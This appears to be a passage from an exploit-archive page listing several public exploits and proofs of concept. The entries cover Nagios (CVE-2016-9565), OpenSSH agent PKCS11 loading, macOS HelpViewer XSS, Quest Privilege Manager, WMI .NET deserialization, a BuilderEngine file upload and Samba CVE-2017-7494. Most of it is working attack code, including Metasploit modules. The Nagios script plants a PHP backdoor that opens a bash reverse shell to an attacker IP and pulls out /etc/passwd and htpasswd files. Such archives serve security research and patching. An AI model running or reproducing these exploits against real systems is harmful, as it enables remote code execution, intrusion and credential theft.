=> 'POST', 'uri' => normalize_uri(datastore['URIPATH']), 'ctype' => 'application/json', 'data' => post.to_json }) # default example app if res and res.code == 200 and res.body =~ /id/ return true # incase we are not targeting the default app elsif res and res.code == 500 and es.body !=~ /id/ return true end return false end def start_http_server @pl = generate_payload_exe @elf_sent = false downfile = rand_text_alpha(8+rand(8)) resource_uri = "\\x2f#{downfile}" if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" service_url_payload = srv_host + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore connect end def exploit start_http_server if send_payload print_good("Injected payload") # we need to delay, for the stager select(nil, nil, nil, 5) end end end
  19. Hacking

    #!/usr/bin/env python # Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html intro = """\033[94m Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit CVE-2016-9565 nagios_cmd_injection.py ver. 1.0 Discovered & Coded by: Dawid Golunski https://legalhackers.com \033[0m """ usage = """ This PoC exploit can allow well-positioned attackers to extract and write arbitrary files on the Nagios server which can lead to arbitrary code execution on Nagios deployments that follow the official Nagios installation guidelines. For details, see the full advisory at: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html PoC Video: https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html Follow https://twitter.com/dawid_golunski for updates on this advisory. Remember you can turn the nagios shell into root shell via CVE-2016-9565: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html Usage: ./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port] Disclaimer: For testing purposes only. Do no harm. """ import os import sys import time import re import tornado.httpserver import tornado.web import tornado.ioloop exploited = 0 docroot_rw = 0 class MainHandler(tornado.web.RequestHandler): def get(self): global exploited if (exploited == 1): self.finish() else: ua = self.request.headers['User-Agent'] if "Magpie" in ua: print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip print '[email protected]/etc/passwd [email protected]/etc/group [email protected]/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n' self.redirect('https://' + self.request.host + '/nagioshack [email protected]/etc/passwd [email protected]/etc/group [email protected]/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False) exploited = 1 def post(self): global docroot_rw print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip # Extract /etc/passwd from the target passwd = self.request.files['passwd'][0]['body'] print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd # Extract /usr/local/nagios/etc/htpasswd.users htauth = self.request.files['htauth'][0]['body'] print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth # Extract nagios group from /etc/group group = self.request.files['group'][0]['body'] for line in group.splitlines(): if "nagios:" in line: nagios_group = line print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group if "www-data" in nagios_group: print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n" docroot_rw = 1 # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii' # option. The output trace should contain an unwrapped line similar to: # # == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted # # which will do the trick as it won't mess up the payload :) self.add_header('Server', backdoor) # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :) print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n" self.write(xmldata) self.finish() tornado.ioloop.IOLoop.instance().stop() if __name__ == "__main__": global backdoor_path global backdoor print intro # Set attacker's external IP & port to be used by the reverse shell if len(sys.argv) < 2 : print usage sys.exit(2) attacker_ip = sys.argv[1] if len(sys.argv) == 3 : attacker_port = sys.argv[1] else: attacker_port = 8080 # PHP backdoor to be saved on the target Nagios server backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php' backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port) # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script global xmldata xmldata = """<?xml version="1.0"?> <rss version="2.0"> <channel> <title>Nagios feed with injected JS payload</title> <item> <title>Item 1</title> <description> <strong>Feed injected. Here we go </strong> - loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) <img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')"> </description> </item> </channel> </rss> """ # Generate SSL cert print "[+] Generating SSL certificate for our python HTTPS web server \n" os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null") print "[+] Starting the web server on ports 80 & 443 \n" application = tornado.web.Application([ (r'/.*', MainHandler) ]) application.listen(80) http_server = tornado.httpserver.HTTPServer( application, ssl_options = { "certfile": os.path.join("./", "server.cert"), "keyfile": os.path.join("./", "server.key"), } ) http_server.listen(443) print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n" tornado.ioloop.IOLoop.current().start() if (docroot_rw == 1): print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n" os.system("nc -v -l -p 8080") print "\n[+] Shell closed\n" print "[+] That's all. Exiting\n"
  20. Hacking

    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1009 The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. The agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:send_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_add_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded. This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine. To reproduce the issue, first create a library that executes some command when it is loaded: $ cat evil_lib.c #include <stdlib.h> __attribute__((constructor)) static void run(void) { // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH, // prevent recursion through system() unsetenv("LD_PRELOAD"); unsetenv("LD_LIBRARY_PATH"); system("id > /tmp/test"); } $ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall Connect to another machine using "ssh -A". Then, on the remote machine: $ ssh-add -s [...]/evil_lib.so Enter passphrase for PKCS#11: [just press enter here] SSH_AGENT_FAILURE Could not add card: [...]/evil_lib.so At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent: $ cat /tmp/test uid=1000(user) gid=1000(user) groups=[...] Fixed in http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/ssh-agent.c.diff?r1=1.214&r2=1.215&f=h
  21. <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040 HelpViewer is an application and using WebView to show a help file. You can see it simply by the command: open /Applications/Safari.app/Contents/Resources/Safari.help or using "help:" scheme: help:openbook=com.apple.safari.help help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest. HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../". PoC: document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)"; The attached poc will pop up a Calculator. Tested on macOS Sierra 10.12.1 (16B2659). --> <script> /* OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read. HelpViewer is an application and using WebView to show a help file. You can see it simply by the command: open /Applications/Safari.app/Contents/Resources/Safari.help or using "help:" scheme: help:openbook=com.apple.safari.help help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest. HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../". PoC: document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)"; The attached poc will pop up a Calculator. Tested on macOS Sierra 10.12.1 (16B2659). */ function main() { function second() { var f = document.createElement("iframe"); f.onload = () => { f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app"; }; f.src = "help:openbook=com.apple.safari.help"; document.documentElement.appendChild(f); } var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));\nsecond();"; document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url; } main(); </script>
  22. Hacking

    #!/usr/bin/env python2 """ # Exploit Title: Quest Privilege Manager pmmasterd Arbitrary File Write # Date: 10/Mar/2017 # Exploit Author: m0t # Vendor Homepage: https://www.quest.com/products/privilege-manager-for-unix/ # Version: 6.0.0-27, 6.0.0-50 # Tested on: ubuntu 14.04 x86_64, ubuntu 16.04 x86, ubuntu 12.04 x86 # CVE : 2017-6554 REQUIREMENTS - Root privs are required to bind a privileged source port - python hexdump: pip install hexdump This PoC gains arbitrary command execution by overwriting /etc/crontab In case of successful exploitation /etc/crontab will contain the following line * * * * * root touch /tmp/pwned """ import binascii as b import hexdump as h import struct import sys import socket from Crypto.Cipher import AES cipher=None def create_enc_packet(action, len1=None, len2=None, body=None): global cipher if body == None: body_raw = b.unhexlify("50696e6745342e362e302e302e32372e") else: body_raw = b.unhexlify(body) #pad if len(body_raw) % 16 != 0: body_raw += "\x00" * (16 - (len(body_raw) % 16)) enc_body = cipher.encrypt(body_raw) if len1 == None: len1 = len(body_raw) if len2 == None: len2 = len(enc_body) head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68 return head+enc_body def decrypt_packet(packet): global cipher return cipher.decrypt(packet[80:]) def create_packet(action, len1=None, len2=None, body=None): if body == None: body = "50696e6745342e362e302e302e32372e" if len1 == None: len1 = len(body)/2 if len2 == None: len2 = len1 head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68 return head+b.unhexlify(body) #extract action code from first 4b, return action found def get_action(packet): code = struct.unpack('>I',packet[:4])[0] return code def generate_aes_key(buf): some_AES_bytes = [ 0xDF, 0x4E, 0x34, 0x05, 0xF4, 0x4D, 0x19, 0x22, 0x98, 0x4F, 0x58, 0x62, 0x2C, 0x2A, 0x54, 0x42, 0xAA, 0x76, 0x53, 0xD4, 0xF9, 0xDC, 0x98, 0x90, 0x23, 0x49, 0x71, 0x12, 0xEA, 0x33, 0x12, 0x63 ]; retbuf = "" if len(buf) < 0x20: print("[-] initial key buffer too small, that's bad") return None for i in range(0x20): retbuf+= chr(ord(buf[i])^some_AES_bytes[i]) return retbuf def main(): global cipher if len(sys.argv) < 2: print("usage: %s <target ip> [<sport>]" % sys.argv[0]) sys.exit(-1) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) if len(sys.argv) > 2: sport = int(sys.argv[2]) else: sport = 666 s.bind(("0.0.0.0", sport)) s.connect((sys.argv[1], 12345)) try: s.send(create_packet(0xfa, body=b.hexlify("/etc/crontab"))) #s.send(create_packet(0x134)) print("[+] sent ACT_NEWFILESENT") resp=s.recv(1024) h.hexdump(resp) action=get_action(resp) if action == 212: print("[+] server returned 212, this is a good sign, press Enter to continue") else: print("[-] server returned %d, exploit will probably fail, press CTRL-C to exit or Enter to continue" % action) sys.stdin.readline() print("[+] exchanging DH pars") dh="\x00"*63+"\x02" s.send(dh) dh=s.recv(1024) h.hexdump(dh) aes_key = generate_aes_key(dh) print("[+] got AES key below:") h.hexdump(aes_key) cipher=AES.new(aes_key) print("[+] press Enter to continue") sys.stdin.readline() print("[+] sending:") enc=create_enc_packet(0xfb, body=b.hexlify("* * * * * root touch /tmp/pwned\n")) h.hexdump(enc) s.send(enc ) enc=create_enc_packet(0xfc, body="") h.hexdump(enc) s.send(enc ) print("[+] got:") resp=s.recv(1024) h.hexdump(resp) print("[+] trying decrypt") h.hexdump(decrypt_packet(resp)) s.close() except KeyboardInterrupt: s.close() exit(-1) main()
  23. Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1081 Windows: ManagementObject Arbitrary .NET Serialization RCE Platform: .NET 4.6, Powershell 4. Tested between Server 2016 and Windows 10 Anniversary Edition Class: Remote Code Execution Summary: Accessing a compromised WMI server over DCOM using System.Management classes or the Powershell Get-WmiObject Cmdlet can lead to the server running arbitrary code on the calling machine leading to RCE. Description: The dangers of using .NET for DCOM are well know, the SRD blog made a post (https://blogs.technet.microsoft.com/srd/2014/10/14/more-details-about-cve-2014-4073-elevation-of-privilege-vulnerability/) which explicitly said it shouldn’t be used between trust boundaries. Presumably people took this to mean implementing servers, but it’s also a risk if a .NET DCOM client connects to an untrusted endpoint. This is due to the IManagedObject interface which will automatically force a client to deserialize an untrusted BinaryFormatter stream which is known bad. One common use of DCOM in the .NET framework is for WMI access. The old classes in the System.Management namespace are still accessible (even though technically supersceded by Cim classes) and in powershell they act as the backend for Get-WmiObject and family. Through inspection it’s clear that a number of places the client querys for IManagedObject (for example on the IWbemServices object returned from IWbemLevel1Login::NTLMLogin method) and would be vulnerable. If this interface is being queried it means that a .NET client is trying to create an RCW and will try and create a local copy of a remote serializable object. Therefore in corporate scenarios where some central system is using WMI over DCOM for management and analysis of running systems (and the management code is using the old .NET/PS classes to do the calls) a compromised machine which replaces the WMI service with its own malicious one could get arbitrary code execution on the monitoring machine. As this is typically going to be a higher privileged account (due to the requirements of DCOM access) it probably makes it more serious. Looking at the network traffic the initial CreateInstance call on the remote activator is only using CONNECT level authentication. This means that it might also be possible to MITM (or Man-At-The-Side) a .NET WMI client and send it back a malicious COM objref to get it to communicate with the attacker's server. Of course ideally no one would do this, or use the old style .NET and PS commands. But I’m sure there are networks out there which do so. Proof of Concept: I’ve provided a PoC as a C# project. You’ll need to also set up some machines to test this out. I’ve tested it in a simple environment of a Server 2016 server acting as a DC and a Windows 10 client. The serialized stream is tailored specifically for 4.6, I don’t know if it works anywhere else. 1) Compile the C# project and copy the binary to c:\service\FakeWmiServer.exe on the Client machine. 2) Run the following commands in admin Powershell on the client machine to configure the WMI service and add the server executable to the firewall. New-NetFirewallRule -DisplayName FAKEWMI -Enabled True -Profile Any -Direction Inbound -Program C:\service\FakeWMIService.exe -Protocol Tcp -LocalPort Any -RemotePort Any -LocalAddress Any -RemoteAddress Any New-NetFirewallRule -DisplayName FAKEWMI -Enabled True -Profile Any -Direction Outbound -Program C:\service\FakeWMIService.exe -Protocol Tcp -LocalPort Any -RemotePort Any -LocalAddress Any -RemoteAddress Any sc.exe config winmgmt binPath= c:\service\FakeWMIService.exe type= own Restart-Service winmgmt -Force 3) On the server start powershell. 4) On the server execute the PS command “Get-WmiObject -Class Win32_Process -ComputerName hostname” replacing hostname with the address of the client. Expected Result: WMI connection fails. Observed Result: A copy of CMD and Notepad is executed on the server in the context of the calling user. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41903.zip
  24. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution", 'Description' => %q{ This module exploits a vulnerability found in BuilderEngine 3.5.0 via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious file, which would result in arbitrary remote code execution under the context of the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'metanubix', # PoC 'Marco Rivoli' # Metasploit ], 'References' => [ ['EDB', '40390'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['BuilderEngine 3.5.0', {}] ], 'Privileged' => false, 'DisclosureDate' => "Sep 18 2016", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/']) ]) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/') }) if res && res.code == 200 && !res.body.blank? return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path peer = "#{rhost}:#{rport}" php_pagename = rand_text_alpha(8 + rand(8)) + '.php' data = Rex::MIME::Message.new payload_encoded = Rex::Text.rand_text_alpha(1) payload_encoded << "<?php " payload_encoded << payload.encoded payload_encoded << " ?>\r\n" data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"") post_data = data.to_s res = send_request_cgi({ 'uri' => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /files|#{php_pagename}/ print_good("Our payload is at: #{php_pagename}. Calling payload...") register_file_for_cleanup(php_pagename) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end print_status("Calling payload...") send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri,'files/', php_pagename) ) end end
  25. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writeable folder in an accessible share, and knowledge of the server-side path of the writeable folder. In some cases, anonymous access combined with common filesystem locations can be used to automatically exploit this vulnerability. }, 'Author' => [ 'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery 'hdm', # Metasploit Module 'Brendan Coles <bcoles[at]gmail.com>', # Check logic 'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7494' ], [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], ], 'Payload' => { 'Space' => 9000, 'DisableNops' => true }, 'Platform' => 'linux', # # Targets are currently limited by platforms with ELF-SO payload wrappers # 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], # # Not ready yet # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', 'DefaultTarget' => 1)) register_options( [ OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) register_advanced_options( [ OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]), ]) end def generate_common_locations candidates = [] if datastore['SMB_SHARE_BASE'].to_s.length > 0 candidates << datastore['SMB_SHARE_BASE'] end %W{ /volume1 /volume2 /volume3 /volume4 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared }.each do |base_name| candidates << base_name candidates << [base_name, @share] candidates << [base_name, @share.downcase] candidates << [base_name, @share.upcase] candidates << [base_name, @share.capitalize] candidates << [base_name, @share.gsub(" ", "_")] end candidates.uniq end def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") stuff = self.simple.client.find_first("\\*") directories = [""] stuff.each_pair do |entry,entry_attr| next if %W{. ..}.include?(entry) next unless entry_attr['type'] == 'D' directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Enum #{share}: #{e}") return nil ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def verify_writeable_directory(share, directory="") begin self.simple.connect("\\\\#{rhost}\\#{share}") random_filename = Rex::Text.rand_text_alpha(5)+".txt" filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Write #{share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def share_type(val) [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] end def enumerate_shares_lanman shares = [] begin res = self.simple.client.trans( "\\PIPE\\LANMAN", ( [0x00].pack('v') + "WrLeh\x00" + "B13BWz\x00" + [0x01, 65406].pack("vv") )) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Could not enumerate shares via LANMAN") return [] end if res.nil? vprint_error("Could not enumerate shares via LANMAN") return [] end lerror, lconv, lentries, lcount = res['Payload'].to_s[ res['Payload'].v['ParamOffset'], res['Payload'].v['ParamCount'] ].unpack("v4") data = res['Payload'].to_s[ res['Payload'].v['DataOffset'], res['Payload'].v['DataCount'] ] 0.upto(lentries - 1) do |i| sname,tmp = data[(i * 20) + 0, 14].split("\x00") stype = data[(i * 20) + 14, 2].unpack('v')[0] scoff = data[(i * 20) + 16, 2].unpack('v')[0] scoff -= lconv if lconv != 0 scomm,tmp = data[scoff, data.length - scoff].split("\x00") shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path, simple_client=self.simple) begin simple_client.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Probe: #{path}: #{e}") end end def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs if datastore['SMB_FOLDER'].to_s.length > 0 subdirs.unshift(datastore['SMB_FOLDER']) end subdirs.each do |subdir| next unless verify_writeable_directory(share, subdir) return subdir end nil end def find_writeable_share_path @path = nil share_info = enumerate_shares_lanman if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end share_info.each do |share| next if share.first.upcase == 'IPC$' found = find_writeable_path(share.first) next unless found @share = share.first @path = found break end end def find_writeable find_writeable_share_path unless @share && @path print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") fail_with(Failure::NoTarget, "No matching target") end print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end def upload_payload begin self.simple.connect("\\\\#{rhost}\\#{@share}") random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} ) wfd.close @payload_name = random_filename return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{@share}"] self.simple.disconnect("\\\\#{rhost}\\#{@share}") end end end def find_payload # Reconnect to IPC$ simple.connect("\\\\#{rhost}\\IPC$") # Look for common paths first, since they can be a lot quicker than hunting PIDs print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") generate_common_locations.each do |location| target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') print_status("Trying location #{target}...") probe_module_path(target) end # Exit early if we already have a session return if session_created? return unless datastore['BruteforcePID'] # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d # to non-root, but their /proc/pid directories are still owned by root. Trying to # read the /proc/other-pid/cwd/target.so results in permission denied. There is a # good chance that this still works on some embedded systems and odd-ball Linux. # Use the PID hunting strategy devised by Tavis Ormandy print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") # Configure the main connection to have a working directory of the file share simple.connect("\\\\#{rhost}\\#{@share}") # Use a second connection to brute force the PID of the first connection probe_conn = connect(false) smb_login(probe_conn) probe_conn.connect("\\\\#{rhost}\\#{@share}") probe_conn.connect("\\\\#{rhost}\\IPC$") # Run from 2 to MAX_PID (ushort) trying to read the other process CWD 2.upto(32768) do |pid| # Look for the PID associated with our main SMB connection target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') vprint_status("Trying PID with target path #{target}...") probe_module_path(target, probe_conn) # Keep our main connection alive if pid % 1000 == 0 self.simple.client.find_first("\\*") end end end def check res = smb_fingerprint unless res['native_lm'] =~ /Samba ([\d\.]+)/ print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}") return CheckCode::Safe end samba_version = Gem::Version.new($1.gsub(/\.$/, '')) vprint_status("Samba version identified as #{samba_version.to_s}") if samba_version < Gem::Version.new('3.5.0') return CheckCode::Safe end # Patched in 4.4.14 if samba_version < Gem::Version.new('4.5.0') && samba_version >= Gem::Version.new('4.4.14') return CheckCode::Safe end # Patched in 4.5.10 if samba_version > Gem::Version.new('4.5.0') && samba_version < Gem::Version.new('4.6.0') && samba_version >= Gem::Version.new('4.5.10') return CheckCode::Safe end # Patched in 4.6.4 if samba_version >= Gem::Version.new('4.6.4') return CheckCode::Safe end connect smb_login find_writeable_share_path disconnect if @share.to_s.length == 0 print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified") return CheckCode::Detected end print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'") return CheckCode::Appears end def exploit # Setup SMB connect smb_login # Find a writeable share find_writeable # Upload the shared library payload upload_payload # Find and execute the payload from the share begin find_payload rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply end # Cleanup the payload begin simple.connect("\\\\#{rhost}\\#{@share}") uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" simple.delete(uploaded_path) rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply end # Shutdown disconnect end end
×